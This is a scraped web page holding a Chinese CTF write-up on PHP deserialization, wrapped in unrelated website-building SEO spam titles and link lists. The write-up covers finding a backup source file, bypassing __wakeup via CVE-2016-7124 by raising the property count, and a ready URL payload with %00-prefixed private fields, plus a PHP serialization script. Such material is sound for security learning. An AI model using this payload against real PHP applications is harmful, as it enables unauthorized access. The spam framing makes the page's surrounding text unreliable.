当前位置: 首页 > news >正文

莱州做网站的公司wordpress 任意下载

莱州做网站的公司,wordpress 任意下载,湖南省建设厅官网站,苏州网站备案查询1.通过目录扫描找到它的备份文件,这里的备份文件是它的源码。 2.源码当中涉及到的关键点就是魔术函数以及序列化与反序列化。 我们提交的select参数会被进行反序列化,我们要构造符合输出flag条件的序列化数据。 但是,这里要注意的就是我们提…

1.通过目录扫描找到它的备份文件,这里的备份文件是它的源码。

2.源码当中涉及到的关键点就是魔术函数以及序列化与反序列化。

我们提交的select参数会被进行反序列化,我们要构造符合输出flag条件的序列化数据。

但是,这里要注意的就是我们提前序列化好的数据,在进行反序列化之前,会执行wakeup函数,而这里一旦执行wakeup函数,就会把我们的参数给改了,那就会不满足输出flag的条件。所以这里需要绕过这个wakeup函数,需要利用的就是绕过wakeup函数的漏洞。

利用CVE-2016-7124漏洞绕过__wakeup()函数

CVE-2016-7124:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()的执行。

这是正常的:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

改成可以绕过的:O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

把表示属性个数的值修改为大于实际的即可。

但是直接把这个构造的数据提交还是不行,因为

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上一个url编码为%00的字符前缀,但是这个前缀是不可见的,并且在复制的时候会丢失。字符串长度也包括所加前缀的长度,所以复制下来之后再去添加即可。

?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;s:3:%22100%22;}

3.序列化的代码

总结:反序列化对象的时候,会触发wakeup函数,之后对象销毁还会触发destruct函数,但是不会触发construct函数。

<?php
class Name{
private $username = 'admin';
private $password = '100';#这里也可以换成数字100
}
$name = new Name;
print(serialize($name));
?>
 

http://www.15wanjia.com/news/168890.html

相关文章:

  • 网站建设如何包含数据库asp.net c 网站开发
  • 网站建设静态部分报告总结网站规划的基本原则
  • 网站一般做多大像素网站各类模块内容说明
  • 广州定制网站开发动漫制作专业有哪些课程
  • Python做网站难不难做网站需要什么软件教程
  • 广西网站建设的公司营销型企业、公司网站案例
  • 做网站服务器需要自己提供吗济南正规网站建设公司哪家好
  • 做电子商务网站建设工资多少钱长春省妇幼网站做四维
  • 网站建设鄂尔多斯微擎做网站费用
  • 网站实时K线怎么做做网站签订合同
  • 乐清网站建设做网站799元网站建设有哪些软件有哪些方面
  • 旅游网站的建设专业团队张益达图片
  • 做企业网站收费多少钱新品发布会视频
  • 威海外贸网站建设wordpress 加迅雷地址
  • 那里做网站好android开发 网站开发
  • 手机网站建设联系方式创建网站的基本步骤
  • 展览馆网站建设软件开发工程师的职责
  • 昌宁网站建设系统管理中心
  • wordpress整站备份网站策划编辑招聘
  • 马鞍山市建设银行网站最吉利旺财的公司名字
  • 创建一个自己的网站网上培训机构
  • 烟台市建设工程质量检测网站羽毛球赛事策划方案
  • 制作网站找哪家好增城网络推广
  • 济南营销网站制作公司简要叙述如何规划建设一个企业网站
  • pc网站建设和推广在哪个网站订酒店做申根签证
  • 上海缘魁网站建设做网站优化用什么软件
  • 站内搜索本网站怎么做株洲关键词优化公司
  • 网站策划书模板网站建设旗帜条幅
  • 网站做电商资质吗什么是网络营销产品
  • 网站改版引导网站营销平台